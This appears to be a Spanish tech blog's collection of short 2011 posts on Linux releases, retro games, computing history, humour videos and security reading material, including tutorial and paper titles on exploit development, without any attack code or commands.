Una de las medidas de seguridad que ha adoptado la policía en los EEUU es la instalación de sistemas de vídeo conectados a la central que toque para la grabación de situaciones que lo requiera.

Café vs Té (Infografía)

Source

Visto en Lifehacker

Darth Urinal

 

Visto en NerdApproved.

Este domingo, Dorian "A cualquier otra parte", …

Relájate, vamos a escuchar pura poesía …

Minuto 0:58 de canción " … Estaría tan lejos de tí , que ya no recuerdo el momento, en que te dije por última vez, que el cielo se está abriendo y se abre bajo tus pies, y quiero que vengas conmigo … “

El lápiz que siempre está afilado

Ingenioso mecanismo de rotación cada vez que se ejerce presión, de esta forma el lápiz se va desgastando de forma regular alrededor de la mina.

http://www.youtube.com/watch?v=SXV65PGvFhA

Ubuntu 11.04

Ya se encuentra disponible desde la web oficial la nueva Ubuntu 11.04 Natty Narwhal. Ubuntu es actualmente la distribución Linux más usada en el escritorio.

En esta nueva versión caben destacar las siguientes novedades:

1. Se usa por defecto Unity en vez de Gnome, aunque si quieres usar Gnome puedes hacerlo desde la instalación. Supongo que una vez instalado también podrás hacerlo.
2. Se ha sustituido OpenOffice por LibreOffice. Recordemos que después de la compra de Sun por parte de Oracle, se hizo un fork de este paquete ofimático llamadado LibreOffice.
3. El reproductor multimedia por defecto ahora es Banshee en vez de Rythmbox.
4. Y por supuesto nuevas versiones del Kernel, Firefox, manejo de los espacios de escritorios (workspaces), etc.

Tienes varias formas de poder probar Ubuntu:

Desde un CD o memoria USB. Ejecutándola desde Windows.

Er docu der finde: Secretos de la segunda guerra …

La semana pasada me dejé en el tintero los 3 últimos trozos de este documental, mea culpa :-(, pero nuestro atento lector jsancho (muchas gracias por el comentario) me lo recordó, así que he titulado esta entrada como la segunda parte ;-)

Parte 4

Parte 5

Parte 6

Microhistoria: la primera animación de una figura …

Antes de nada mira la foto (haz click en todas para verlas a más resolución):

Es uno de los pedestales sagrados encontrados en una habitación en el Templo de Ishtar (que no Istar, ese es de la Dragonlace). Ahora mira a las dos imágenes humanas que se acercan hacia lo que parece un trono ó un pedestal:

Aparentemente son dos hombres vestidos iguales con la misma ropa, posición de la mano y mismo peinado adorando al pedestal de culto. Pues realmente se trata de la misma persona, el rey Tukulti-Ninurta I de Asiria que vivió desde el 1244 al 1208 a.C. (hace más de 3.000 años).  Esta situado en dos posiciones, la primera de pie y la segunda de rodillas, dando la sensación de ser una animación. Por lo tanto, es posible que sea la primera representación de una animación en algún tipo de medio, en este caso en piedra (aunque si buscas por Internet, puede que veas otras incluso la de una cabra de hace 5.000 años pero no he encontrado información científica sobre ella y además esta es sobre una figura humana).

Recreando el primer videojuego, "Tennis for two" …

El video muestra la recreación exacta usando componentes analógicos del mítico primer juego de la historia, “tennis for two”, que se jugaba en un osciloscopio y era parecido al tenis.

Creado por MEGA y visto en HackADay.

Little Thor, parodia del anuncio "The Force"

¿Recuerdas el anuncio de “The Force”?, pues atento a la parodia promocinando la película “Thor”.

Visto en The Fire Wire.

Computerspiele Museum, el Museo del Ordenador y …

Computerspiele Museum, a set on Flickr.

¿Quién demanda a quién?

Yo ya el tema de las patentes me lo tomo a pitorreo, porque vaya tela, leía el otro día que uno de los mejores trabajo en EEUU era el de ingeniero de software, pero para mi que el que se lleva la palma es la abogacía.

Fuente original

Web designers vs Web developers

Visto en Sixrevisions

Web developers vs Web developers (Infografía)

Visto en Sixrevisions

Hack this zine #12: Tools from Beyond the …

En este número podemos encotrar:

1. Guía rápida de como asegurar el Gateway de Twitter
2. El FBI es noticia en el intento de persecución de Anonymous
3. Documentos del caso contra Goatse
4. LogRotate, manipulando logs
5. Entrevista a TorrentFreak.com
6. Script para el teléfono de casa en un entorno hostil
7. Usando los servicios de Pastebin para mejorar la seguridad tu email
8. Y mucho más...

Tienes 2 versiones disponibles, una formateada para su lectura en la pantalla y la otra formateada para la impresión, ambas en formato PDF.

Enlace original

El CGI más realista

Realmente impresionante, parece totalmente real, aunque no te lo creas es un anuncio de Silestone y todo está hecho por ordenador.

Visto en Newscientist.

Codifica en Base64 código HTML y compártelo

No sé si servirá de mucho este servicio, pero me resultó muy curiosa la idea. Hashify.me es una web que te permite crear una web (código HTML) y a partir de ahí crear una URL especial con el contenido de tu página codificado en Base64. De esta forma podrías compartir tu página a través de este enlace.

Claro el enlace generado podría ser un poco largo, así que desde la misma página puedes acortar el mismo. Éste usa Bit.ly para ello y además te permite publicarlo en Twitter.

Más de 270 tutoriales sobre HTML5

A día de hoy cualquiera de las nuevas versiones de los navegadores más conocidos implementan, aunque no al 100%, este nuevo estándar. Y si miramos a nuestro alrededor, vemos como cada vez más, los desarrolladores y grandes empresas (Apple por ejemplo) apuntan y apuestan por éste.

Por ello, me resultó interesante, aunque un poco desorbitado, este enlace en el que se recogen más de 270 tutoriales sobre HTML y además otros 64 enlaces con enlaces, valga la redundancia sobre más información sobre HTML5 y muchas ocasiones CSS3.

Borrando un CD con 150,000 voltios

Visto en Slashdot

Este domingo por la mañana, lo que pega es …

Todo un clásico para este domingo por la mañana.

Kraftwerk, no hay palabras para describirlos.

Reutilizando los cartuchos de la NES

Espectaculares diseños de personajes creados con cartuchos de la NES, no te los pierdas, visita este enlace (aunque la web está lleno de ellos).

Visto en Squidkidsink.

 

Escucha cómo sonaba una de las trompetas …

(Imágen: BBC)

Cuando Howard Carter encontró la tumba de Tutankamon, entre los cientos de tesoros había dos trompetas, una de plata y otra de bronce. Durante más de 3.000 años habían estado silenciosas junto al cuerpo del niño rey de Egipto. Lamentablemente, estas trompetas desparecieron durante las recientes revueltas en Egipto, pero una de ellas (la de plata) se ha recuperado en una bolsa en el metro de El Cairo.

Badge con tubo nixie

Nos gustan los badge de las diferentes conferencias, pero este con un tubo nixie incorporado nos parece realmente espectacular.

Se entregaron para la conferencia de seguridad Troopers (que ya terminó, echa un vistazo a su apartado de descargas).

Más info sobre el badge aquí.

Visto en HackADay.

Er docu der finde: Secretos de la segunda guerra …

Parte 1

Parte 2

Parte 3

Liberad al pato Willix (Humor)

Estos de Mixta son unos cracks :), visto en un tweet de nuestro amigo vierito5.

Sin Facebook ... (Humor)

Visto en 9GAG.

Ikea Hack: router, switch y WiFi en un cuadro

Buena idea para además de ahorrar espacio, crear un poco de arte electrónico :)

Visto en HTG, web original aquí.

Simulador Enigma

En este enlace podéis encontrar un simulador de una máquina enigma (sigue este enlace si quieres saber más sobre esta máquina) de tres rotores escrito en flash.

Además si sientes curiosidad por saber que tiene que ver esta máquina con los Caballeros del Zodiaco, echa un vistazo a esta entrada de elladodelmal.

El Teide, time-lapse espectacular

The Mountain from Terje Sorgjerd on Vimeo.

Realmente espectacular time-lapse rodado en Tenerife, en concreto a 3715m de altitud en el Teide.

Visto en TheAwesomer.

 

Documental de RTVE: Copiad, malditos!!

Nuevo documental de RTVE que trata de mostrar y/o explicar el panorama actual y las alternativas de gestión de derechos de las obras. Muy interesante, en particular el adoctrinamiento de los niños por parte de las empresas de gestión de derechos y el llamado Manifiesto de Montijo.

• A la carta
• > Televisión
• > La 2
• > El documental
• > El documental - ¡Copiad, malditos!

El Pac-Man más grande del mundo

Para celebrar el nuevo Internet Explorer 9, Soap Creative ha creado un juego de Pac-Man con miles de pantallas creadas por usuarios y que te tomaría años jugarlo entero.

Puedes jugar desde aquí, más sobre la historia aquí.

Visto en Neatorama.

15 cosas que no sabías sobre la muerte …

Visto aquí

Significado de los códigos de respuesta en …

Enlace original

So long Google Video

El día 15 de Abril Google mandó un comunicado vía email, diciendo que cierran su servicio de vídeos Google Video.

Como muchos recordaréis éste no pudo con su competidor número 1, YouTube, el cual fue adquirido por el propio Google en 2006, ya sabes, si no puedes con tu enemigo, cómpralo… ¿o era únete a él? :/

La fecha de cierre es el 29 de este mes de Abril, a partir de ese día ya no podrás ver ningún vídeo en este servicio, aunque tendrás un periodo de gracia de 2 semanas para poder bajar los vídeos que quieras, para ello han añadido un botón de descarga y esto estará disponible hasta el 13 de Mayo.

Primeras imágenes de Windows 8, Milestone 1

Ya están circulando por la red algunas imágenes del nuevo Windows 8 alias “Milestone 1“de Microsoft. Aún están en una fase muy temprana de desarrollo (build 7850).

Puedes verlas desde este enlace, no te esperes ver grandes cambios de imágen, básicamente la interface es idéntica a Windows 7. La web de Betarchive ha publicado un link donde poder descargarte una ISO con esta versión.

La primera beta la publicará Microsoft en verano.

Todos los personajes de "Regreso al Futuro" en 8 …

Click en la imágen para verla más grande.

Visto en 8bits.

Canal Youtube de música CyberHades

Hemos creado (aún en construcción) un sencillo canal en Yotube para ir recopilando y ordenando todos nuestros post de música (que seguirán con su regularidad en CyberHades). Entre otras cosas vamos a crear algunas playlists tanto de nuestras secciones como otras que se nos vayan ocurriendo, como por ejemplo recopilaciones.

Esperamos vuestras críticas, comentarios, sugerencias, músicas, etc.

Esperamos que os guste:

http://www.youtube.com/cyberhadesblog

Por fin la BIOS se actualiza con UEFI

Ya era hora, después de 25 años, parece que las BIOS van a desaparecer tal y como las conocemos. Arrancar un equipo y entrar en la BIOS es como viajar en el tiempo con MSDOS. No había ningún motivo por el cual mantener las BIOS actuales, es más, están muy limitadas respecto al hardware que luego administran.

Domingo pre-vacaciones, The Amplifetes "It's my …

The Amplifetes “It’s my life”

Tutorial para Diagnostic And Recovery Toolset …

Nuestro amigo Marc Rivero se ha currado en su blog un par de post hablando sobre DaRT (Diagnostic and Recovery Toolset), una genial herramienta de Microsoft para poder reparar nuestro ordenador.

Parte 1: descargar y crear ISO de DaRT

Parte 2: Herramientas de DaRT

La verdad es que ya la he probado y me parece espectacular, explorador de archivos, cambiar contraseña, editor de registro, etc… todo en uno y gratis.

PStart, organiza tu dispositivo usb

Windows

Ahora que todos tenemos pendrives de 8,16,32GB etc donde almacenamos de todo, no viene mal instalar alguna aplicación para organizarlas para acceder más rápidamente a ellas. Ya lleva tiempo publicada pero ahora se vuelve más interesante que nunca.

PStart se instala en el dispositivo usb (antes he mencionado pendrives pero también se puede usar en discos duros externos) como un lanzador de aplicaciones y ubicaciones. Puedes ejecutarlo y luego definir qué aplicaciones importantes portables tienes en el dispositivo y también ubicaciones, así como notas (este es especialmente útil), búsquedas, etc .

La forma más sencilla de convertir un disco FAT32 …

Windows

Abre una línea de comandos y, suponiendo que la unidad G: es la que queremos convertir, escribe:

convert G: /FS:NTFS

Tardará un rato pero no tienes que copiar tus datos (yo de todas formas haría copia de seguridad por si acaso), este comando no debería borrarlos.

No se puede hacer al revés, NTFS a FAT32, tendrías que volver a formatear el disco. Sencillo pero efectivo.

Pingüino Ninja

LOL, perfecto para redondear una tarde tonta de viernes …

Visto en TheAwesomer.

Crossover Angry Birds / Bob Esponja

Luego nos llaman frikis … si es que nos lo merecemos ;) Visto en 8bits.

The Hobbit, primer video blog

Si te intersa saber qué está haciendo Peter Jackson ahora mismo en el rodaje de “The Hobbit”, no te pierdas este video.

Visto en GeeksAreSexy.

Desde el Big Bang hasta Internet en 18 minutos …

Por David Christian.

Recuerda activar los subtítulos.

Visto en TheAwesomer.

BatteryCalibration, recalibrando la batería del …

 

Según indican los desarrolladores, esta aplicación hace una nueva calibración de la batería del Android y de esa forma revitalizarla.

Descarga la aplicación y deja que se recargue al máximo la batería. Este programa borra toda las otras estadísticas y crea unas nuevas para optimizarla.

Importante, sólo funciona con Androids rooteados.

Puedes hacer click en este enlace para obtener una copia de la aplicación (o usar el QR de abajo).

Microhistorias: cuando Mick Jagger, Andy Warhol y …

 

Menuda historia tengo hoy para vosotros chicos/as, vais a flipar. De nuevo entra en escena nuestro querido Jobs pero esta vez en el papel de protagonista secundario. Aquí el crack es Mick Jagger, veréis porqué.

Andy Hertzfeld (ya le conocéis de otras Microhistorias) llegó a su despacho un día un poco complicado. Estaban a punto de sacar al mercado el Apple Macintosh pero aún había problemas con el software y quedaba mucho trabajo por hacer.  La fecha final para la entrega era el día 16 de Enero a las 6 am (hora en la que abrirían la fábrica para empezar la producción). Como decía, Andy H. llegó a su despacho ese viernes, 8 días antes de la fecha de entrega.  En ese momento, Steve Jobs estaba junto a otros compañeros de Apple en Nueva York en un tour de prensa para presentar al nuevo Mac. Eso le venía genial al equipo de desarrollo de Apple para estar tranquilos y finalizar todo el software.

La biografía autorizada de Steve Jobs saldrá en …

Esto no sería noticia si no fuera porque por fin él mismo ha accedido a participar en el libro. Hasta ahora, todas las biografías hablan de Steve sin su autorización ni participación (de esta forma no se verifican muchos de los hechos acontecidos, aunque la verdad, la mayorías están contrastados). Se llamará “iSteve: The Book of Jobs” y el escritor será Walter Isaacson (ha escrito entre otras, la biografía de Einstein y Benjamin Franklin). Ha entrevistado a miembros de su familia, de trabajo, compañeros de Apple, competidores y también al mismísimo Jobs.

Pica Pic Retro Handled Collection, recordando …

 

Si quieres pasar un buen rato recordando aquellas máquinas (estilo Game&Watch) de LCD de los 80, no dudes en visitar esta web creada por Hipopotam Studio. Tiene desde un Zelda a doble pantalla hasta un juego Game&Watch ruso.

Puedes jugar con todas ellas.

Visto en Retrothing.

Mundo Hacker TV (y radio)

 

Menuda sorpresa me he llevado al ver un tweet de nuestros amigos de Security By Default anunciando la tercera entrega de Mundo Hacker TV. Raudo y veloz voy al link y vaya sorpresa me he llevado al ver el capítulo, es realmente espectacular. Luego he buscado las dos primeras entregas para devorarlo esta noche y también el programa de radio para escuchar en el coche.

¿Serías capaz de llegar al nivel 85 en World of …

Increible ejercicio de paciencia (y pérdida tiempo también) de este jugador de WoW que ha llegado al nivel 85 sin matar absolutamente a nadie ni a nada.

CINCO MESES recolectando hierbas, recopilando huesos y explorando a lo largo y ancho de los continentes del WoW. Fíjate que no hay misiones, la mayoría o todas son de matar animales u otros enemigos. Sólo y exclusivamente con las profesiones y explorando.

Tutorial para empezar con Minecraft

Si te pica la curiosidad como a mi pero no te atreves a jugar al que está considerado el juego más geek, echa un vistazo a este tutorial de How to Geek a ver si te convence.

Minecraft es un juego sandbox de creación y construcción, donde puedes recopilar materiales para luego hacer construcciones y objetos. También aparecen animales (como lobos, pollos, cerdos, etc) que puedes domesticar y otros seres más agresivos como zombies y arañas.

Cómo hacer que el ascensor no se pare...

Recuerdo cuando trabajaba en un edificio que tan sólo 17 plantas. Yo trabajaba en la 15 y claro a la hora que entraba a currar era básicamente la misma que la mayoría de la gente, así que antes de llegar a mi destino hacía como 6 o 7 paradas. Un verdadero co@#zo!

Ya me gustaría haber visto este truco:

1. Pulsa y deja pulsado el botón de cerrar las puertas.
2. Con dicho botón pulsado, pulsa y déjalo pulsado también, la planta a la que quieres ir hasta que el ascensor empiece a moverse.

Me pregunto si esto funciona de verdad :-)

The truth about Malware and Linux (Kaspersky Lab)

(Recuerda activar los subtítulos usando “cc” en el video)

Domingo por la mañana, una banda sonora, muy …

No es que sea un fan absoluto de esta película pero tiene algo y realmente podría haber sido una obra maestra de no ser por los típicos errores que cometen las grandes productoras de cine.

Lo que sí es espectacular es la banda sonora, y sobre todo esta canción del genio John Murphy, “The Surface of the Sun”.

Cierra los ojos y disfruta.

En busca de Brain, el primer virus para PC

Muy interesante este corto de 10 minutos sobre Brain, el primer virus para PC de la historia. Fue escrito en Pakistan en Enero de 1986 por dos hermanos llamados: Amjad Farooq Alvi y Basit Farooq Alvi, que dicho sea de paso es la primera vez que conceden una entrevista grabada en vídeo sobre el tema.

Por aquella época al acceso a internet estaba prácticamente a agencias militares y universidades de los EEUU, por lo tanto este virus no se extendió por la red de redes, sino a través del disquete.

Documental sobre Alan Turing (Trailer)

No cON Name 2011

Los días 16 y 17 de Septiembre tendrá lugar la octava edición de la No cON Name en Barcelona, el evento sobre seguridad informática más antigüo de España. Ya está abierto el plazo para call of papers (llamamiento a ponencias) que termina el 31 de Mayo.

Puedes visitar la web:

http://www.noconname.org/

Ya lo tenemos en la agenda.

NOTA: Echa un vistazo a los papers de la No cON Name 2010 y los videos.

Cheat sheet sobre el uso de Collections en Java

Como anillo al dedo me viene esta plantilla. Una de las tareas que he estado haciendo esta última semana es la revisión de código de una de las aplicaciones que estamos desarrollando y madre mía…

En cierto momento la aplicación reventaba porque un índice de una array se iba de madre. Después de revisar dicha función, llego a la conclusión que lo que dicha función se supone debe hacer es que a partir de 2 listas de datos, poder mover elementos de una lista a la otra. Pues bien, al que escribió esa función no se le ocurrió mejor cosa que usar un total de 5 arrays, incluidas las 2 originales, para llevar a cabo dichas operaciones. Imagínate la cantidad de variables índices usadas por todos lados, claro y al final pasó lo que tenía que pasar, uno de esos índices tomaba un valor mayor del que debería.

Celebrando los 20 años de Linux, anuncio IBM Linux

No había visto este video, es muy bueno. LOL! (puedes activar los subtítulos)

IKEAHackers, jugando con muebles

Si te pasa como a mi, que tiemblas cada vez que oyes “vamos a IKEA”, a lo mejor puedes ir poco más ilusionado viendo todo lo que se puede hacer usando como base los muebles de IKEA. En esta web verás otros usos y mejoras a los diseños actuales de la marca sueca. Uno que seguro te gustará es este mueble MAME usando una de sus más conocidas mesas llamada Ramvik:

Er docu der finde: La catástrofe nuclear de …

<embed id=VideoPlayback src=http://video.google.es/googleplayer.swf?docid=-1606557046956667003&hl=es&fs=true style=width:400px;height:326px allowFullScreen=true allowScriptAccess=always type=application/x-shockwave-flash>

Programming Games Wiki, todos los juegos basados …

Todos conocéis el clásico y magnífico juego CoreWars, un juego donde varios programas luchan por controlar la memoria (terreno de juego), bueno pues no es el único. He encontrado esta Wiki donde puedes encontrar por orden alfabético muchos juegos basados en la programación. Algunos tienes interfaces sencillas como el ya mencionado CoreWar y otros ya utilizan 3D como A.I.Wars (donde programas a un insecto en 3D para que luchar contra otros en un terreno, aquí tienes un ejemplo de código) y Ceebot (donde programas robots en 3D con el lenguaje C-Bot). Otros son más curiosos como el GalaxyHack, donde tienes que crear una flota de naves espaciales, programar un script y lanzarlas a luchar contra otras. Uno que también tiene buena pinta es el CoLoBot, donde tienes que programar un robot para que haga expediciones en un planeta para colonizarlo. No quiero olvidarme de Robocode, donde crearás tanques para luchar contra otros pero usando el lenguaje Java ó .NET.

Hello everybody out there...

... using minix -

I’m doing a (free) operating system (just a hobby, won’t be big and professional like gnu) for 386(486) AT clones. This has been brewing since april, and is starting to get ready. I’d like any feedback on things people like/dislike in minix, as my OS resembles it somewhat (same physical layout of the file-system (due to practical reasons) among other things).

I’ve currently ported bash(1.08) and gcc(1.40), and things seem to work. This implies that I’ll get something practical within a few months, and I’d like to know what features most people would want. Any suggestions are welcome, but I won’t promise I’ll implement them :-)

Linus ( [email protected] )

PS. Yes – it’s free of any minix code, and it has a multi-threaded fs. It is NOT portable (uses 386 task switching etc), and it probably never will support anything other than AT-harddisks, as that’s all I have :-(. —Linus Torvalds

Jugando al Tetris con cubos de Rubik

Impresionante, aunque el niño un poquito pedante…

[youtube]http://www.youtube.com/watch?v=z8GA-9q2bbw[/youtube]

Lenguajes de programación más usados en 2011

Enlace original

Gnome 3.0

Finalmente la nueva versión de Gnome ha sido liberada oficialmente. En ésta, se han hecho una serie de cambios muy significantes.

El cambio más grande que podemos observar en esta nueva versión es el concepto de escritorio con respecto a las versiones anteriores. Es un concepto totalmente distinto. Además de esto, las aplicaciones más importantes dentro de este entorno también han sufrido grandes cambios. Entre estas podemos destacar:

CommTest, aplicación gratuita para comprobar la …

 

Windows

Simple aplicación para medir la velocidad de la red entre dos ordenadores. Sólo tienes que ejecutarla en cada uno de ellos (es portable)  y luego dar la IP de cada una (ó el nombre de máquina en dominio). El puerto 65000 debe de estar abierto en el cortafuegos para poder realizar la prueba.

Una vez conectado, empezará a enviar datos y nos dará la transferencia en KB/s y también la latencia.

Microhistorias: la primera vez que se usó el …

(Pulsa en el texto para verlo más grande) Texto: MIT

Siempre he creído que la palabra “hacker” es un término más o menos nuevo. Sabía que había sido inventada (o aplicada al significado tal y como la conocemos hoy) por los chicos y chicas del MIT a finales de los 70, por la época del mítico John Draper (Capitán Crunch) creador de la primera blue box, pero no sabía la fecha ni la publicación donde aparece el término por primera vez.

Exploit Research Megaprimer Videos

Exploit Research Megaprimer es un conjunto de 10 vídeos sobre el desarrollo de exploits y descubrimiento de vulnerabilidades usando la archiconocida Backtrack.

Podéis encontrar el índice aquí, aunque aquí os dejo la lista de dichos vídeos:

1. Exploit Research Megaprimer Part 1 Topic Introduction By Vivek
2. Exploit Research Megaprimer Part 2 Memcpy Buffer Overflow
3. Exploit Research Megaprimer Part 3 Strcpy Buffer Overflow
4. Exploit Research Megaprimer Part 4 Minishare Buffer Overflow
5. Exploit Research Megaprimer Part 5 Freesshd Buffer Overflow
6. Exploit Research Megaprimer Part 6 Seh Basics
7. Exploit Research Megaprimer Part 7 Overwrite Seh
8. Exploit Research Megaprimer Part 8 Exploiting Seh
9. Exploit Research Megaprimer Part 9 Guest Lecture By Andrew King
10. Binary Diffing Microsoft Patches

Enjoy!

Visto aquí

Preview de 15 minutos de Game of Thrones

En esta nueva preview se observa una incursión en Invernalia comandada por un pelele, lo que tendrá sus consecuencias…

Game of Thrones Exclusive Preview

Esperando al 17 de Abril para el estreno...

Haciendo 4 Marios a la vez

[youtube]http://www.youtube.com/watch?v=L_AerCVhoTM[/youtube]

Esto fue posible a una técnica llamada tool-assisted speedrun (TAS). Esto es en muy resumidas palabras ralentizar la velocidad de los frames y así poder jugar “a cámara lenta”, normalmente usando un emulador.

Esto me recuerda a mi Action Replay cuando lo ponía a cámara lenta para lanzar los penalties en los juegos de fútbol :p

Visto en Wired

How much data is that? (Infografía)

 

Visto aquí

hackxor hacker game

hackxor es una aplicación web programada de forma intencionada con una serie de fallos de seguridad con la que puedes jugar. Contiene fallos del tipo: XSS, CSRF, SQLi, ReDoS, DOR, inyección de comandos, etc.

Puedes jugar de forma online a los 2 primeros niveles, pero como dicha aplicación se aloja en SourceForge piden que uses el sentido común y no uses herramientas de fuerza bruta o escaners automáticos, así como sólo jugar con http://hackxor.sourceforge.net/* y no con otros subdominios.

Librerías para el desarrollo de aplicaciones root …

RootTools es un conjunto de herramientas o más bien librerías que le hará la vida más fácil a aquellos que quieran desarrollar una aplicación para Android en la que se requiera acceso root.

Es un proyecto de código abierto alojado en Google.

Lo que nos ofrece este proyecto es lo siguiente:

1. Comprobar si el sistema tiene instalado buysbox.
2. Comprobar si "su" está instalado.
3. Comprobar el espacio disponible en la memoria externa (SD card).
4. Ejecutar comandos como root.

Para usar esta librería sólo tienes que bajártela e incluirla en el Classpath de tu aplicación.

Quiero dejar claro que esto no es una librería para ganar acceso root en tu android, sino unas librerías que te ayudan a verificar ciertos parámetros en el sistema, los cuales, de forma general, te indican que el usuario tiene acceso root.

Publicado el código fuente de Symbian

Ya vi esta noticia en el twitter de mi compañero y gran amigo tuxotron pero creo interesante postearlo. No todos los días tienes acceso al código fuente de un sistema operativo móvil completo. Posiblemente algo mucho más grande e interesante salga de esta iniciativa.

Puedes acceder a todo el código fuente registrándote aquí.

No hay mucha documentación pero  poco a poco se está añadiendo a varios sitios webs:

Infografía con los rumores del posible nuevo …

Haz click en la imágen para ampliarla.

Visto en TheFireWire.

Alucinante versión de la mítica "Where is my mind" …

Realmente espectacular, el solito usando un estación de loop RC-50 y una guitarra, realiza este espectacular versión:

[youtube]http://www.youtube.com/watch?v=JhjA2nvVD7U[/youtube]

Puedes descargarla en MP3 desde su web.

Y aquí la canción original de Pixies “Where is my mind”, una obra maestra:

[youtube]http://www.youtube.com/watch?v=5iC0YXspJRM[/youtube]

Y de regalo, este montaje con subtítulos en español de la película “El Club de la Lucha”, donde aún se me ponen los pelos de punta sólo de pensar en ese final con la canción de fondo:

Eso te pasa por disfrazarte de ese monstruo …

[youtube]http://www.youtube.com/watch?v=zTUkoYorBxg[/youtube]

Uf casi lo matan, puede que sea una broma del April’s Fools Day pero ¿quién no ha querido darle una paliza a ese bicho?

Visto en GeeksAreSexy.

Impresionante vista del Transbordador Espacial …

Para verla a más resolución, Astronomy Picture of the Day del 2 de Abril.

Análisis Forense Digital en Entornos Windows, …

Genial. Ya hace tiempo que lo compré y lo he leido varias veces, y cada vez encuentro alguna información nueva. Aparte de ser un libro espectacular para empezar con el análisis forense informático (y crearte una auténtica navaja suiza de herramientas presentadas en el libro) , me gustaría resaltar también otro punto a su favor, el de comprender cómo funciona internamente el sistema operativo Windows.

Fijáros en un ejemplo, en el apartado del Registro de Windows, aparte de ir analizando los campos más importantes relacionados con el análisis forense, también se va explicando datos fundamentales sobre su funcionamiento como por ejemplo ubicación física, como exportar datos y herramientas para analizarlos, estructura del registro, etc. Todo bastante resumido pero es una perfecta introducción para luego pasar ya más a fondo con el registro pero orientado al análisi forense.

Te pillaron Frodo, de este no te escapas ...

 

Menos mal que no se cruzaron ;)

Visto en HTCARU.

Er docu der finde: La verdad según Wikipedia

Resuelve el cubo de Rubik en 20 movimientos …

Visto aquí

Lo que todo desarrollador Web debe saber sobre …

En Google Code University podemos encontrar en otras muchas cosas un enlace titulado: What Every Web Programmer Needs To Know About Security.

En el mismo podemos encontrar una seria de diapositivas que nos agrupadas en 3 secciones, que abarca desde una introducción hasta temas de criptografía, y que a continuación paso a enumerar:

Part 1

1. Security Goals
2. Secure Systems Design
3. Secure Design Principles
4. Exercises for Part 1

Part 2

5. Worms and Other Malware
6. Buffer Overflows
7. Client-State Manipulation
8. SQL Injection
9. Password Security
10. Cross-Domain Security in Web Applications
11. Exercises for Part 2

Part 3

12. Symmetric Key Cryptography
13. Asymmetric Key Cryptography
14. Key Management & Exchange
15. MACs and Signatures
16. Exercises for Part 3

Y si las quieres todas de golpe, haz click aquí.

Hakin9 Abril: Mobile Security

Ya tenemos disponible un nuevo número de esta magnífica revista, pero hay una mala noticia, a partir del próximo mes de Mayo, esta eZine se hará de pago. La mensualidad será de $15 y además de los 12 números anuales, también recibirás 6 números extras.

El índice de este nuevo número es:

1. Mobile Malware Trends and Analysis by Julian Evans
2. Why are Zero-Days Such a Big Deal? by Matthew Jonkman
3. How to use Netcat by Mohsen Mostafa Jokar
4. Security – Objectives, Process and Tips by Rahul Kumar Gupta
5. The Backroom Message That’s Stolen Your Deal by Yury Chemerkin
6. Smartphones Security and Privacy by Rebecca Wynn
7. Defending Cell Phones and PDA’s by Gary S. Miliefsky
8. My RSA Conference 2011 Trip Report by Gary S. Miliefsky

Puedes descargarlo desde aquí.

Ciudades en 8 bits

En este enlace podemos ver algunas de las ciudades más importantes del mundo (a ver si el autor añade Cádiz para completar la lista :-p) en 8 bits o en plan los mundos del Mario :)

Overflowed Minds, recursos para la seguridad …

Ayer nuestro amigo Chema habló sobre OverFlowed Minds, una nueva comunidad sobre temas de seguridad informática donde podéis encontrar interesantes papers así como un foro (que aún está empezando pero lo que hay publicado es muy interesante) y que desde CyberHades os animamos a que os suscribáis y aportéis toda la documentación y/o información que podáis.

Estos son los papers que hasta ahora hay publicados, todos realacionados con la creación de exploits:

• Introducción a la explotación de software en sistemas Linux
• Local Linux x86 Shellcoding without any high-level language
• Bypassing local Linux x86 ASLR protection

No os olvidéis del foro, por ejemplo este mensaje aporta unos enlaces muy interesantes sobre recursos sobre programación en ASM.

Mario en primera persona

[youtube]http://www.youtube.com/watch?v=KBb9wFP7uZM[/youtube]

Enlace original

Malware Analyst's DVD

Malware Analyst’s Cookbook es un libro que trata sobre el análisis de Malware, como habrás podido deducir.

Algo estuve leyendo sobre este libro el otro día y lo estuve ojeando por Amazon y tiene una pinta estupenda, además las revisiones del mismo son muy buenas.

Bueno, el motivo de esta entrada no es realmente hablar sobre este libro, sino del DVD que lo acompaña. Dicho DVD está lleno de utilidades relacionadas con el análisis de malware y el contenido del mismo está a disposición de todos los públicos, hayas comprado o no el libro.

Se coge antes a un mentiroso que a un cojo …

How To Spot A Liar by Forensic Psychology

Visto aquí

Una de libros

Aquí os dejo algunos enlaces a distintos libros electrónicos gratuitos que he ido acumulando para echarles un vistazo, pero viendo como se me acumula el trabajo, os los dejo por aquí para al que le interese:

1. Barebones Spring MVC - PDF
2. The Little MongoDB Book - PDF
3. A Byte of Python - PDF: 2.X - 3.0
4. Python Programming - PDF
5. Non-Programmer's Tutorial for Python - 2.6 (PDF) - 3.0 (Versión para imprimir)
6. Think Python - PDF
7. Text Algorithms - PDF
8. Combinatorial Optimization: Exact and Approximate Algorithms - PDF
9. Think Stats, Probability and Statistics for Programmers - PDF
10. Practical Artificial Intelligence Programming in Java - PDF
11. Practical Semantic Web and Linked Data Applications, Java, Scala, Clojure, and JRuby Edition - PDF
12. Practical Semantic Web and Linked Data Applications, Common Lisp Edition - PDF
13. Artificial Intellicence: Foundations of computational agents
14. Programming Languages: Application and Interpretation (PDF)

Happy reading!

Debate: la fotografía ética

Después del terremoto, en Haití, Fabiene Cherisma fue tiroteada por robar unas sillas y unos cuadros.

Posteriormente la fotografía fue premiada en la categoría International News Image en el prestigioso certamen Swedish Picture of the Year Award.

Grupo de fotógrafos ante el cadáver, entre ellos esta Paul Hansen, el premiado.

Aunque no lo parezca este post tiene bastante que ver con otro que escribió mi compañero Cybercaronte sobre el desastre en Japón y la forma que tenemos en occidente de tratar las desgracias ajenas. Un photojournalist diría que él solo fotografía los hechos circundantes pero...

CERT Secure Coding

CERT o Computer Emergency Response Team, tienen un subdominio exclusivamente dedicado a la programación segura.

En el mismo, podemos encontrar buenas prácticas de programación que nos ayudarán con la ardua tarea de escribir código lo más seguro posible.

Esto no es un recurso nada nuevo, pero lo van actualizando de forma periódica y nunca viene mal un pequeño recordatorio.

Ahora mismo disponemos de información sobre:

1. C (Versión Japonés) o si lo prefieres lo tienes también impreso.
2. C++
3. Java

Parece ser que hace tiempo empezaron a trabajar en C#, pero por ahora no hay nada publicado al respecto.

También tienen otro libro donde acaparan tanto C como C++.

Instrucciones de seguridad en vuelo... especiales

[youtube width=“520” height=“390”]http://www.youtube.com/watch?v=3iaTEgoezNQ[/youtube]

De nuevo los publicistas de Air New Zealand montado el pollo. Aunque el video esta pensado para utilizarlo a bordo no deja de ser publicidad viral en todo su esplendor gracias a youtube.
